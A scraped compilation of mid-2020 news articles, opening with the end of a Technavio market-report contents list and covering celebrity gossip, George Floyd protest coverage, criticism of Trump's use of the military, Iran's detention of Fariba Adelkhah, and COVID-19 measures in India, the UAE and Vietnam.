Overview

Landscape disruption

PART 13: VENDOR ANALYSIS

Vendors covered

Vendor classification

Market positioning of vendors

Baker Hughes

Halliburton

National Oilwell Varco

Schlumberger

Weatherford

PART 14: APPENDIX

Research methodology

List of abbreviations

PART 15: EXPLORE TECHNAVIO

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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Jacqueline Jossa was seen letting a team of cleaners into her home on Friday as she continues to split her time between parents' property and marital home.

The I'm A Celebrity winner, 27, was seen opening her front door to allow the group into her home, before going to wait outside in the garden.

Three woman were seen arriving at Jacqueline's Essex pad carrying a hoover and a box of cleaning products while making their way up the driveway.

Guidelines: Jacqueline Jossa was seen letting a team of cleaners into her home on Friday as she continues to split her time between parents' property and marital home

MailOnline understands that the cleaners kept to all safety guidelines, while Jacqueline simply answered the door to them. She then vacated to the garden while they cleaned.

In May, Prime Minister Boris Johnson announced that cleaners and nannies were allowed to return to work in other people's homes.

Although he didn't stipulate how many cleaners were allowed to enter a property at once, the guidance states you should keep the number of people you come into contact with to a minimum.

Following the announcement, the government published guidelines on how to work safety in other's homes, including working for a short period of time and frequently washing your hands.

Arrival: Three woman were seen arriving at Jacqueline's Essex pad carrying a hoover and a box of cleaning products while making their way up the driveway

It also stated that internal doors should be left open so that cleaner or other workers do not have to touch them due to the fact the virus can remain on surfaces.

The document read: 'This document is to help employers, employees and the self employed in the UK understand how to work safely during the Covid-19 pandemic, keeping as many people as possible two metres apart from those they do not live with.

'We hope it gives you freedom within a practical framework to think about what you need to do to continue, or restart, operations during the Covid-19 pandemic.

Come on in! The I'm A Celebrity winner, 27, was seen opening her front door to allow the group into her home, before going to wait outside in the garden

'We understand how important it is to work safely and support your workers' health and well-being during the Covid-19 pandemic.'

Last month, the actress revealed she was 'struggling' as she moved out of the house she shares with husband Dan Osborne, but has since returned amid claims she has given him his 'last chance'.

A few days ago, the honey-blonde beauty announced she had come back from her parents' house to return to her husband and their kids.

Cute! Once the cleaners had left Jacqueline spent a fun afternoon painting with her little girl and shared this adorable snap

She admitted that she 'has some stuff going on', in the wake of news that her three-year marriage to the former TOWIE star, 28, has been called into question amid claims of increasing domestic tension during the coronavirus lockdown.

Jacqueline said: 'Not that it's got anything to do with you, but was going to let you guys know I am back at home. I'm gonna be doing the pix at my mum and dad's new place because there's loads of new empty rooms.'

Then discussing her own house, she went on: 'The place is a mess because I haven't been here in a while. I am back home but I'll be coming home because I've got stuff going on at the moment.'

She's back: A few days ago, the honey-blonde beauty announced she had come back from her parents' house to return to her kids and husband

Rumours have been swirling over what prompted Jacqueline to move out, with The Sun reporting that he had been caught messaging other women.

The couple's relationship has been plagued with cheating allegations and tensions between the pair have reportedly been taking their toll. However, a source claimed this wasn't the case.

It had also been claimed that the mother-of-two had moved out without telling Dan, but a spokesperson for the actress told MailOnline: 'Any suggestion of a secret move out or similar is completely and utterly untrue.'

On good terms? She admitted that she 'has some stuff going on', in the wake of news that her three-year marriage to the former TOWIE star, 28, has been called into question

On issuing him a last chance ultimatum, a source told The Sun: 'Dan insists he has done nothing wrong but Jacqueline is frustrated he can't just focus solely on her and thinks he has been communicating with other girls.

'She remains suspicious as she has caught him out before and he has form for being pictured chatting to attractive female celebrities at showbiz parties when she's been at home or working.'

The publication also alleged that while Jacqueline has returned to her marital home she issued an 'Osborne Ultimatum', demanding that Dan 'stop his infatuation with glamorous female reality stars.'

MailOnline contacted Jacqueline's representatives for comment at the time of publication.
If Mayor Cunningham thought he had more than enough  police officers to handle Sundays riots & looting, then he wasnt there. I was. I sat in my office as out of control gangs smashed windows in the businesses next door to me and took whatever they wanted, confident no one would stop them and no one did. I didnt have anything they wanted, so they moved on, ransacking everything on Waukegans two busiest streets from downtown to Green Bay Road. After they were gone, I went outside and I could smell gunpowder in the air and looked at the devastation around me and wondered if this was the way people in Somalia felt when warlords overrun their towns and take and destroy everything. xcept, I dont live in Somalia. I live in the most powerful, advanced country on earth and this is the way people behave. With the elections coming up, how many people have these looters driven into to arms of Donald Trump, who pledges to use the military restore order. Thats not progress. Thats driving people who have had enough closer to a man who would love to be a dictator. And reflecting on Sundays insanity, I wondered if George Floyd would not have wanted to be remembered this way.
President Donald Trump's actions in recent days have pushed the military into the most uncomfortable position in his presidency, prompting an outcry that continued to build on Thursday from retired generals, including his former defense secretary and three former chairmen of the Joint Chiefs, who have expressed grave concerns about his willingness to wield the military as a club against American citizens.

The president's threats to employ military troops to put down protests in American cities and his steps to pull Pentagon leaders into his response to unrest in the nation's capital have dramatically escalated the tensions that have beset the military since Trump took office, highlighting the fragility of norms surrounding the military's role in public life.

"It should worry people, and it does worry people, when you see a default to the military rather than trying more local or domestic organizations," said Carrie Lee, an expert on civil-military affairs.

The tensions were starkly visible this week as Defense Secretary Mark Esper scrambled to explain why he and Gen. Mark Milley, chairman of the Joint Chiefs of Staff, appeared alongside Trump outside the White House shortly after protesters were forcibly cleared from the area by authorities that included guardsmen under federal command.

The scene came as the Pentagon positioned active-duty forces near Washington in preparation for their possible use in the city, immediately reaching for a response that military leaders said should be an absolute last resort, even though there has been relatively little violence in the city in recent days. Esper drew widespread criticism early this week after he described a need to "dominate the battlespace" in reference to authorities' response to unrest in U.S. cities.

The events have prompted unusual public rebukes from former leaders, including retired Gen. Jim Mattis, whose turn as Trump's first defense secretary enjoyed perhaps the most bipartisan support of any Cabinet member in the Trump era.

"Never did I dream that troops taking that same oath would be ordered under any circumstance to violate the constitutional rights of their fellow citizens - much less to provide a bizarre photo op for the elected commander-in-chief, with military leadership standing alongside," Mattis wrote, referring to Americans' right to peaceful protest.

Two Republican lawmakers welcome Mattis's comments and suggested that his attack might provide some of their colleagues cover to launch their own critiques of the president's response.

Sen. Lisa Murkowski, R-Alaska, called the remarks "true and honest and necessary and overdue," saying she was struggling to decide whether to support Trump in the November election. Sen. Mitt Romney, R-Utah, said they were "stunning and powerful." But other Republican senators, including Lindsey Graham of South Carolina, disagreed.

The cascade of military criticism of recent events, and the military's role in them, came also from retired Gen. Tony Thomas, the former head of U.S. Special Operations Command; retired Adm. Mike Mullen, who served as chairman of the Joint Chiefs of Staff; and retired Gen. Richard Myers, another former chairman of the Joint Chiefs of Staff who voiced "absolute sadness" at the clearing of Lafayette Square outside the White House.

On Thursday, retired Gen. Martin Dempsey, who served as chairman of the Joint Chiefs of Staff under President Barack Obama, told NPR that calling the military to suppress mostly peaceful protests "was very dangerous to me."

"The relationship between the American people and the military - who they represent and serve - would be adversely affected if this was not handled very carefully," Dempsey said.

The events add to a gathering crisis for Pentagon leaders, including many who have sought to reconcile their concerns about some of Trump's policies and his personal style and their deeply ingrained culture of deference to elected leadership.

Peter Feaver, a political science professor at Duke University, said the president had framed his response to the protest as linked to maintaining order. But military leaders were additionally concerned with another set of values, including responding to racial tensions and signaling a commitment to respecting civil liberties, he said.

"The mistake for the White House is asking the military to choose between those two," Feaver said.

One former senior officer said many current and former officers were "appalled" by the recent events. "They've never seen anything like it," he said, speaking on the condition of anonymity to discuss the matter candidly. "We didn't join the military to kill our fellow citizens."

The tensions also mark a high-stakes moment for Esper, Trump's fourth Pentagon chief, who has elicited Trump's ire in recent days as he has sought to distance the Pentagon from the administration's protest response.

In remarks on Wednesday, Esper, a former Army officer and defense lobbyist, voiced support for protesters' outraged by the killing of George Floyd, a black man killed in police custody on May 25, and said he did not think it was necessary to invoke the Insurrection Act, as Trump threatened early in the week if governors did not take sufficient actions to quash unrest in their states.

An administration official, who also spoke on the condition of anonymity to speak candidly, said Esper had "worked incredibly hard over the last weeks and days to address the civil unrest without having to resort to this last-resort measure." That involved coordinating with Attorney General William Barr, who is leading the law enforcement response, and requesting additional National Guard troops from governors to avoid having to use active-duty personnel, the official said.

The White House press secretary had cool remarks about Esper following his statement on Wednesday, saying he remained in his position "as of right now." Officials said Trump was angry with Esper but was counseled not to fire him.

Like those before them, Esper has struggled at times to advance Trump's agenda while hewing to core Pentagon priorities, such as nurturing military alliances.

Trump's relationship with the military has been fraught from the start. The New York businessman, who avoided serving in the Vietnam War with five deferments, sought to surround himself with military brass as a sign of power. He brought retired generals into his Cabinet and the White House National Security Council, and described active-duty leaders as "my generals."

On his first days in office, Trump dragged the uniformed force into a contentious political moment by signing a travel ban on multiple Muslim-majority countries at the Hall of Heroes in the Pentagon. Since then, he has savaged Democrats onstage in talks to troops at military installations and signed "Make America Great Again" hats on military bases.

In the run-up to the 2018 midterm elections, Trump deployed active-duty forces to the border with Mexico in what critics described as an attempt to use the military as a political prop. He took billions of dollars from the Pentagon budget that weren't authorized by Congress to build parts of the border barrier. And he intervened in the high-profile war crimes case against former Navy SEAL Eddie Gallagher in what was seen by many at the Pentagon as a broadside against impartial military justice.

The backdrop to the recent events is the military's effort to rebuild trust with the American public since the days of the Vietnam War. Many retired generals don't want the American military to return to a time when it's seen as on one side or the other in American politics.

In particular, the 1970 massacre at Kent State University, in which members of the Ohio National Guard shot into a crowd of protesters, killing four students and wounding nine others, looms large over any decision to rely on military forces to step in and replace the police. The incident led to national outrage and dealt a further blow to the reputation of the military among the American public.

Beyond what retired four-star officers such as Mattis and Mullen have said, what is more notable is what active-duty generals have said in response to the events of the past few days, said Lee, an assistant professor at the U.S. Air War College, who said she was speaking in a personal capacity and not on behalf of the military.

Milley, who faced intense criticism for appearing in camouflage next to the president as Trump made his way to St. John's Episcopal Church on Monday, issued a memo to the U.S. military's top leaders the following day affirming the military's commitment to the values of the Constitution. Officials said Esper and Milley had intended to inspect damage at the church and speak with National Guard troops stationed near the White House and did not know Trump intended to stage a televised event.

"We all committed to the idea that is America," Milley wrote by hand in the memo. "We will stay true to that oath and the American people."

The memo came as service chiefs also issued notes regarding the events following the unrest, designed to ensure people that top generals and admirals agreed with the need for a response.

"The active duty are speaking just in the way that they can," Lee said. "They are walking a high-wire act."

- - -

The Washington Post's Dan Lamothe contributed to this report.
The universities in Bihar, always struggling with delayed academic sessions, are still undecided on how they would conduct their examinations in the midst of COVID-19 pandemic and are awaiting guidelines from the Chancellor office.

Due to demographic profile of students in Bihar, with majority being from the rural areas with limited facilities and poor internet connectivity which came as a big hindrance during attempts to dabble in online classes, the universities are skeptical about online examinations option.

Governor-cum-Chancellor of universities Phagu Chouhan has called a meeting with vice chancellors through video conferencing starting next week to discuss progress on National Assessment and Accreditation Council (NAAC) and other reforms and preparedness of universities in the light of new challenges. The VC would be conducted with three universities at a time.

Patna University acting vice chancellor HN Prasad, who is also the VC of Nalanda Open University, said that efforts were underway to work out a tentative plan for examinations in July, but it would be a challenge. Normally, the session in PU starts from July 1. It has been the only university with timely academic session.

He said that organizing examination online was not looking feasible due to lack of infrastructure and practical problems. But the examinations have to be held, may be in the traditional way, but everything will depend on the COVID-19 situation. University Grants Commission has also given guidelines regarding examinations, he added.

PU also has to organize the entrance test for admissions in its degree courses. Last year also, it was delayed due to confusion over the implementation of the new reservation roster and 10% quota to the students from the economically weaker section (EWS) in colleges and universities.

Munger University VC RK Verma said that examination was a priority, as the university had struggled to bring back the session on track last year. This year, we had announced exams from March 24, but after that everything stopped. Now, the challenge is to get the colleges in shape before planning any exam, as most of them were used as quarantine centres. They need thorough sanization, else they will become source of infection, he added.

Verma said that the contaminants could pose serious health hazard even after the migrants leave. We cannot change the exam system, as it is governed by ordinance and statutes, but we will have to take due precaution, which will involve creating more exam centres to ensure proper social distancing, he added.

Disaster management department principal Secretary Pratyaya Amrit said that after June 15, all the government building and schools and colleges requisitioned for quarantine centres would be thoroughly sanitized as per the standard protocol before handing them over to the concerned authorities. All DMs will soon be issued instruction in this regard. The health department has issued detailed guidelines in this regard, he added.

Most of the universities have been beset with late academic sessions in Bihar and the disruption due to COVID-19 is set to further derail the attempts to streamline it. Chancellors office has also been consistently underlining the need for regularizing academic sessions, but it is mostly delayed, except in PU.

The students wing of the BJP, Akhil Bhartiya Vidyarthi Parishad has also written to the PU VC to work out an arrangement of constant evaluation for promoting students in the light of the regulation of the ministry of Human resource development. It has also urged the VC for fee waiver for six months, as the institutions a been closed.

The online courses being run online are a mere eyewash, as it is not reaching students living in far off places due to poor connectivity and lack of facilities. There should be an arrangement to upload e-content and video lectures on the university website for the convenience of the students. The university should also clear the mist on PUCET and whether it would be online and offline, said the ABVP letter.

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French-Iranian academic Fariba Adelkhah on Friday marked one year of incarceration in Iran, in a case that has intensified tensions between Paris and Tehran and angered supporters who fear she is the victim of a political battle of wills.

Adelkhah, a prominent anthropologist specialising in Shia Islam, was arrested on June 5, 2019, and has been held behind bars ever since.

Last month she was ordered to serve five years in prison after being convicted on national security charges, in a verdict slammed by Paris as "political".

She is one of several foreigners and dual nationals being held by Iran in what activists condemn as a policy of hostage-taking aimed at pressuring the West.

Born in Iran in 1959 but living in France since 1977, Adelkhah has maintained her innocence, and colleagues and other supporters have rubbished the charges against her. She went on a 49-day hunger strike to protest her conditions.

Adelkhah events

The anniversary of her detention is to be marked by a series of events around the world, many held virtually because of the coronavirus outbreak, with her portrait displayed by Paris Mayor Anne Hidalgo on the facade of the French capital's city hall.

"Fariba Adelkhah is a hostage of the Iranian government," Iranian Nobel Peace Prize laureate and rights lawyer Shirin Ebadi, who now lives in exile, said in a video message to mark the anniversary.

"The Tehran government uses dual nationals by taking them hostage and using them to achieve its own political agenda," she said.

French President Emmanuel Macron on Friday called Adelkhah's continued imprisonment "unacceptable."

"My message to the Iranian authorities: justice demands that our compatriot be released immediately," he posted on Twitter.

'Settling of scores'

Adelkhah was arrested with her partner Roland Marchal, a fellow academic at the Sciences Po university in Paris specialising in Africa.

Marchal was freed and returned to France in March after France released Iranian engineer Jallal Rohollahnejad, who risked extradition to the United States on accusations of violating sanctions.

Michael White, an American held in Iran for nearly two years, returned home this week after Iranian scientist Cyrus Asgari, who had been held in the United States, was allowed to go home.

Another Iranian scientist detained in the US, Majid Taheri, was also released at the same time, Tehran said.

In December, Iran also freed US academic Xiyue Wang in exchange for scientist Massoud Soleimani, and said it was open to further swaps.

Such deals have made Adelkhah's supporters fear that Iran will be looking for something in return for her liberation.

Her support group of fellow academics believe that she was arrested because of an "internal settling of scores" or to "obtain the release of Iranians detained in Europe or in the United States."

Tehran, meanwhile, has also accused the United States of holding its nationals for political reasons.

Further complicating the situation is that such arrests of foreigners and dual nationals is carried out by the powerful Revolutionary Guards rather than the Iranian government.

"It goes beyond the governments, since on the Iranian side it is not the Iranian government who is primarily responsible for this affair. It is the Revolutionary Guards supported by the judicial authorities," Francois Nicoullaud, a former French ambassador to Tehran, told AFP.

'Horrifying thought' -

Despite the releases, as well as concerns about the spread of COVID-19 in Iranian prisons, Adelkhah is not the only prominent foreigner or dual national still in prison in Iran.

Iranian-American businessman Siamak Namazi has been held for almost half a decade, while British-Iranian Nazanin Zaghari-Ratcliffe, who was arrested in April 2016, is still unable to leave the country despite being allowed out of jail on a furlough.

British-Australian Kylie Moore-Gilbert is serving a 10-year sentence on charges of espionage. Her family last month rejected reports that she had attempted suicide in jail, saying she was is in good health "considering her situation."

Hadi Ghaemi, executive director of the New York-based Center for Human Rights in Iran (CHRI), said the Iranian authorities responsible for keeping the prisoners behind bars see their detentions as "transactional," and want something in return for their release.

"This is a horrifying thought. It is very unfortunate that innocent lives like Fariba's are being put on the line for such transactions," he told AFP.
FILE PHOTO: An Emirates Airline Airbus A380 plane takes off from Dubai International Airport in Dubai

DUBAI (Reuters) - Emirates and Etihad Airways will resume some transit flights after the United Arab Emirates (UAE) lifted a suspension on services where passengers stop off in the country to change planes, or for refuelling.

Dubai's Emirates, one of the world's biggest long-haul airlines, said on Thursday it would operate transit flights to 29 destinations in Asia, Europe and North America by June 15.

Abu Dhabi's Etihad, meanwhile, said it would carry transit passengers to 20 cities in Europe, Asia and Australia from June 10.

The suspension was lifted late on Wednesday for UAE carriers, more than two months after the Gulf Arab state halted all passenger flights in March as it introduced drastic measures to curb the spread of the new coronavirus.

It has since allowed a few, limited flights, while domestic restrictions such as the closure of shopping centres have been lifted.

Foreign citizens remain banned from entering the Gulf Arab state except those holding UAE residency, who require UAE government approval before returning.

The coronavirus pandemic, which has seen countries around the world shut their borders as they went into lockdown, has decimated the global airline industry as demand was crushed.

Many countries continue to enforce tight entry restrictions, including some countries banning foreign visitors. Airlines around the world have warned it will take years for travel demand to recover.

(Writing by Alexander Cornwell; Editing by Jason Neely and Mark Potter)
Police are searching for a reckless hoon who performed a burnout with a wheelchair-bound man in the back of his ute.

ACT Police said the white Holden Commodore performed the dangerous manoeuvre at a roadside car park in Canberra's west in May in what they are describing as a 'serious burnout incident'.

Two men, including one confined to a wheelchair, can be seen sitting in the rear tray of the ute.

ACT Police have launched a hunt for a reckless hoon who performed a burnout with a man in a wheelchair in the back of his Holden ute (pictured)

The driver (pictured) conducted the burnout sometime in May at a car park in Canberra's west with two men sitting in the tray of the ute

Images from the car park revealed that one passenger egged on the driver as the ute's tires began to emit green smoke.

Another picture showed the man sitting in a wheelchair in the ute's tray while the driver made a hand gesture to the camera.

Police said the burnout resulted in the ute catching fire, placing 'the occupants and bystanders at risk'.

A photograph of the white ute showed the rear tyres burst into flames and sent plumes of white smoke off the back of the car.

Police believe there were numerous witnesses at the car park and have called for anyone with information or footage of the burnout to come forward.
Kate Garraway and husband Derek Draper looked smitten as they danced together in a throwback video, shared hours after she gave an emotional update on his COVID-19 battle.

Earlier in the day, the presenter, 53, became overcome with emotion during Friday's Good Morning Britain as she admitted she 'doesn't know' if Derek, 52, can recover from the 'extraordinary damage' COVID-19 has inflicted on his body.

In a video shared by Myleene Klass in support of Kate, Derek and her family, the couple can be seen dancing to a rendition of Elvis Presley's Suspicious Minds.

Miss you: Kate Garraway and husband Derek Draper looked smitten as they danced together in a throwback video, shared hours after she gave an emotional update on his COVID-19 battle

Kate looks radiant in a shimmering sequin dress as she and Derek show off their dance moves while staring into one another's eyes.

As the pair smile at one another, Kate and Derek embrace as they continue to move to the music.

Myleene captioned the video: 'Your interview had me in tears. You are being so incredibly brave.

'Till we do this again, you and Derek burning up the dance floor...me and Sim lining up the drinks.'

So brave: Earlier in the day, the presenter, 53, became overcome with emotion during Friday's Good Morning Britain as she admitted she 'doesn't know' if Derek, 52, can recover from the 'extraordinary damage' COVID-19 has inflicted on his body

The video comes after Kate broke down in tears as she revealed critically-ill husband Derek thanked her for 'saving his life' before he slipped into a coma during his 10-week battle with coronavirus.

Kate said: 'Well there will be tears, I'll try to keep them down, he's still with us, he has fought the most extraordinary battle, the fact that he's still here and holding on.

'I am so grateful that he's still here, and I've got the option of praying while others have lost that. He's very, very sick and as time goes on, it's a virus, it's like a computer virus, the doctors manage one but there seems to be a flicker of hope and other things emerge and they're fighting that.

'It has affected him from the top of his head to the tip of his toes.

Throwback: In a video shared by Myleene Klass in support of Kate, Derek and her family, the couple can be seen dancing to a rendition of Elvis Presley's Suspicious Minds

She added: 'He is now COVID free, he has tested negative, the fight with the virus is over but it's wreaked extraordinary damage on his body and we don't know if he can recover from that.

Kate spoke for the first time about Derek's initial admission to hospital in March, revealing the last thing he said to her before he was put in a medically-induced coma, was 'I love you, you saved my life.'

She said: 'In that first week it looked like he was rallying. But then he was very bad, he couldn't really speak to me, he could shout things to me on speakerphone.

'He was begging me, he said "I can't take this, I feel like I'm suffocating", he said "please let them put me in a coma" and they didn't want to do that. On Sunday they said "we're going to put him in a coma as overnight we think we have to do that."'

PDA: As the pair smile at one another, Kate and Derek embrace as they continue to move to the music

Fun night: Myleene paid an emotional tribute to Kate's bravery on the caption for the video

'He said: "I love you, I'm sorry I have to leave you, you've saved my life". I think he thought I had asked the doctors to put in him in a coma. He said "being married to you, the children, you saved my life".'

Kate went on to say Derek did not have any underlying health conditions and doctors were unable to explain why the virus had affected him in the way it had.

Kate said: 'He just got it very, very, very badly and we don't know why. When you speak to the doctors, there's so many things they tell you about to help you understand what he's going through.

'There's various markers that tell you how much infection is in his body when it was really raging.

Candid: The video comes after Kate broke down in tears as she revealed critically-ill husband Derek thanked her for 'saving his life' before he slipped into a coma during his 10-week battle with coronavirus

Health update: The presenter cried as she revealed Derek is now free from coronavirus but is continuing to fight against the damage inflicted on his body by COVID-19 (pictured in 2019)

'At one point, he was being transferred to a different hospital, there's an enzyme the liver produces which goes up when you're fighting infection, healthy it would be under 10, if it goes up to 200 then you're really sick.

'When Derek was admitted to the second hospital, he was 1286. He was off the scale with infection.

'His lungs were solid and nobody thought he'd live. So it's just extraordinary he's still here.

REVEALED: HOW THE CRUEL LEGACY OF COVID MAY LAST A LIFETIME Covid-19 could leave survivors with debilitating illnesses that last for years, doctors have warned since the outbreak spiralled out of control. One leading medic called it 'this generation's polio' - a disease that killed thousands and left a generation with life-long mobility issues. Patients who spend weeks fighting for life in intensive care can suffer from long-term complications caused by permanent damage to their lungs and liver. Physiotherapists also warn patients can suffer a loss of mobility, if they are stuck on hospital wards for weeks, or endure flashbacks and emotional distress. But even patients who endure symptoms so mild they don't get admitted to hospital are plagued by fatigue, headaches and breathlessness that can linger for weeks. Several recent studies have highlighted proof Covid-19 causes fibrosis - scarring of the lung tissue that makes it harder for the organs to work. A research paper published in a Chinese journal in March said 'pulmonary fibrosis may be one of the major [long-term] complications in Covid-19 patients'. Evidence is also emerging that the virus may affect the brain, causing seizures and stroke, as well as harming the liver, kidneys, heart and blood vessels. A paper in the journal JAMA Cardiology in March reported one in five of 416 Covid-19 patients hospitalised in Wuhan, China, had suffered heart damage. The heart problems are thought to occur as a result of the virus triggering a 'cytokine storm', where the immune system overreacts to the infection. Number 10's panel of leading scientists - SAGE - called for studies to investigate the lasting effects of the illness. Advertisement

'I'm so proud of him and most of all, the doctors and nurses around him are just incredible. They're incredible with what they've done, with a disease they're learning about every day.'

Kate also moved host Ben Shephard to tears as she explained the impact Derek's illness was having on his beloved children Darcey, 14, and William, 10.

She said: 'I need to make them feel safe, they've lost their dad for the time being, they have been amazing. They have both been doing anything to find little moments of joy, so we can still smile. Derek says you've got to laugh, you've got to be silly.'

'Billy is going back to school on Monday, he said 'I don't want to go back to school before dad's better'.'

Stay positive: Kate , her son Billy, 10, and daughter Darcey, 14, clapped for carers on Thursday night with the star discussing how she was helping her children during the tough time

'Darcey has been on Amazon trying to get him some cool t-shirts. He's going back on Monday and that is what we have to do now. I've got to give them some life. Darcey and I will be home tutoring. It's carrying on with life when life isn't certain.'

Kate was inundated with support from fans who lauded her bravery for speaking openly about Derek's condition on television, with GMB host Susanna Reid, Laura Tobin, Lorraine Kelly and Georgia Toffolo tweeting in support of her.

Back in April it was revealed that Derek had been hospitalised with COVID-19 while Kate and their children isolated at home after she displayed 'mild symptoms.'

Just days before, the presenter voiced her fears on Good Morning Britain after meeting with Prince Charles before he tested positive for coronavirus.

She spoke about their encounter live on air, revealing that the pair had got 'relatively close' at the Prince's Trust Awards on March 11.

Emotion: Kate also moved host Ben Shephard to tears as she explained the impact Derek's illness was having on his beloved children

So brave: GMB hosts Piers Morgan and Charlotte Hawkins praised Kate for her bravery

Kate's spokesperson told MailOnline: 'Kate's husband, Derek Draper, has been taken to hospital and is being treated in intensive care with a confirmed case of COVID-19.

He was admitted on Monday and has since tested positive for the virus.

'Kate, hasn't been tested, however she has also been displaying mild symptoms, also since Monday, and as a result has been on strict isolation with her children at home.'

Support: Stars Susanna Reid, Lorraine Kelly, Laura Tobin and Georgia Toffolo rallied round Kate after her emotional interview

Shortly after Kate met Prince Charles on March 11, GMB played footage of the two together.

The presenter pointed out: 'We're relatively close there, as indeed were all the other people that were involved in that.

Kate has kept followers updated throughout Derek's ongoing battle, taking part in the weekly Clap For Carers celebration honouring those on the frontline.
WASHINGTON - In his most extensive comments yet on the civil unrest gripping the country, Attorney General William Barr defended law enforcement's aggressive, militaristic response to protests while acknowledging the "long-standing" concerns with police that were exposed by the recent death of a black man in Minnesota while in custody.

Speaking from Justice Department headquarters and flanked by the leaders of all of the agency's law enforcement components, Barr sought to strike a somber tone.

He stressed the "horror" of watching the video that captured a Minneapolis police officer pressing his knee into the neck of George Floyd - whose death sparked the protests gripping the country - and took pains to note it "exposes concerns that reach far beyond this particular case."

"It is undeniable that many African Americans lack confidence in our American criminal justice system," Barr said. "This must change."

But Barr also vigorously defended the aggressive law enforcement response he has spearheaded in response to demonstrations, including police's move Monday to use horses and gas to push back largely peaceful protesters at Lafayette Square, just outside the White House. The episode has elicited an intense backlash against both Barr and President Donald Trump.

Strikingly, the attorney general voiced particular approval of Trump's decision to walk across the street and pose for a photo at St. John's Church soon after the demonstrators had been forced away. Barr said the decision had been made earlier in the day to extend the security perimeter outside the White House, and there was "no correlation" between that and Trump going to the church. Barr was among those who posed for a photo with the president.

"I don't necessarily view that as a political act," Barr said. "I think it was entirely appropriate for him to do."

Barr has personally orchestrated the stunning show of force on District of Columbia streets in recent weeks to end the sometimes violent demonstrations - a response which has drawn criticism for escalating tensions in a particularly fraught time. The Washington Post had reported previously that Barr personally directed law enforcement on the ground in Lafayette Square to move back the protesters, after showing up to the scene and being surprised the perimeter had not already been extended.

Barr addressed the controversy for the first time Thursday. He said the violence in the District. "came to a crescendo over the weekend" in Lafayette Square, where demonstrators threw projectiles, burned down a historical building and set a fire in St. John's Church across the street.

From Saturday to Thursday, he said, there had been 114 injuries to law enforcement and 22 hospitalizations - most of those for concussions or serious head injuries. Barr said that on Monday, Trump asked him to "coordinate the various federal law enforcement agencies" - including those in the Department of Homeland Security, which is normally outside the Justice Department purview.

Barr said he made the decision early Monday to move the security perimeter northward by a block, and later, around 2 p.m., met with law enforcement agencies to lay out a plan for doing so.

"It was our hope to be able to do that relatively quickly, before many demonstrators appeared that day," Barr said. But he said officials could not get units in place quickly enough.

Barr emphasized that many protesters have been peaceful, and blamed "extremist agitators" for exploiting the situation. He said the agitators have "a variety of different political persuasions." He named only one, though - the antifa, or anti-fascist, ideology, which Trump has also sought to blame for the violence. Barr said the Justice Department was also "seeing foreign actors playing all sides to exacerbate the violence."

FBI Director Christopher Wray said foreign entities were using state-controlled media and social media to amplify division in the U.S. Barr said the federal government had made more than 50 arrests for federal crimes in connection with riots.

As when Trump addressed the unrest just before he went to the church, Barr stressed the importance of "law and order."

"Our free society still depends on the rule of law," Barr said.

While Barr said the violent demonstrations posed a challenge to the rule of law, he noted that so, too, did the death of Floyd and the "long-standing" issues it demonstrates. Barr said the FBI was investigating the matter as a civil rights case, but would defer to state and local authorities, who already have charged four officers in connection with Floyd's death.

The Trump administration has all but abandoned the broad police reform efforts of the Obama administration, and Barr has seemed in the past to take a hard-edge approach to backing law enforcement. In a speech in December, he warned that communities who did not show respect to police risked losing their protection.

Barr said Thursday his views had not shifted, and that he still believed the "overwhelming" number of police did not use excessive force.

Barr has mobilized all of the Justice Department's law enforcement components - the FBI, ATF, the U.S. Marshals, the Bureau of Prisons and the Drug Enforcement Administration - to help respond to the unrest in the District, and each of their leaders also spoke Thursday.

Bureau of Prisons Director Michael Carvajal notably conceded that he could have better marked the Special Operations teams that have been spotted in the District with clear identification.

"I probably should have done a better job of marking them nationally as the agency," he said. "Point is well taken."

Wray, the FBI director, stressed the unrest was not just about Floyd, but rather "all of those, over the years" who had their rights violated by law enforcement. He said the bureau was "not in any way trying to discourage peaceful protesters."

"Nonviolent protests are signs of a healthy democracy, not an ailing one," Wray said.

Barr said Tuesday and Wednesday had been more peaceful in the District, and he suggested the federal response might soon slow. Though there were barriers still being erected outside the White House Thursday morning, Barr said "after assessing the situation last night toward the end of the evening, or maybe early in the morning, I felt that we could afford to collapse our perimeter and eliminate some of the checkpoints and so forth and take a little bit of a more low profile footprint."
Illustrative image (Photo: VNA)



Deputy Minister of Health Nguyen Thanh Long said the ministry has set up teams to inspect quarantine work in the provinces of Ba Ria - Vung Tau, Quang Ngai, Bac Ninh, and Thai Nguyen, and the quarantining of flight crews at several hotels in Hanoi.

The ministry will shortly enhance its inspection over the quarantining of foreign experts elsewhere around the country.

More than 1,800 experts are now under quarantine and about 2,700 others will arrive in June and July.

The committee asked ministries, agencies, and localities to continue with quarantine measures in accordance with the ministrys guidelines.

They also discussed the return of Vietnamese expats, investors, technical experts, highly-skilled workers, and corporate executives to the country.

Participants agreed with the ministrys suggestion of offering exemption of certificates proving negative testing to SARS-CoV-2 for technicians, highly-skilled workers. and investors when they enter Vietnam.

They highlighted the need to perform compulsory 14-day quarantining and taking samples from foreign arrivals for testing.

Army units are responsible for monitoring the quarantining of Lao, Cambodian, and Chinese students at concentrated dormitories.

According to the Health Ministry, Vietnam had reported 328 COVID-19 infections as of June 4th, 302 of whom had fully recovered, or 92 percent of the total.

The country also reported its 49th day in succession without community transmission./.
The Denver Police Department is investigating an incident from last week that was caught on video and has gone viral showing officers spraying pepper balls at a man who is screaming that he has a pregnant woman in his car.

Videos of the incident, which happened early Saturday morning, shared on Twitter and YouTube shows the man getting out of his stopped car to yell at officers: "You shot up a car with a pregnant woman in it, with f--king tear gas." It's unclear what happened before the driver stopped his car.

But then, as the driver in the video continues to inform the officers that there is a pregnant woman in the passenger seat, they spray a barrage of projectiles at the man and the car. The man is outside of the car on the driver's side, and the passenger's side, where a woman is sitting, is closest to the officers. The man eventually gets back in his car and drives away.

Honestly, I thought I was going to die. I thought I was going to be the next black man shot by police, the man, Shaiitarrio Brown, told NBC affiliate KUSA.

He said the incident happened early Saturday morning during protests in Denver over the death of George Floyd. But Brown and his pregnant fiancee weren't protesting. They were making food deliveries.

Brown said he began yelling at police when his car was hit by a pepper ball round.

Related: Denver Police Chief March Arm-in-Arm With Demonstrators

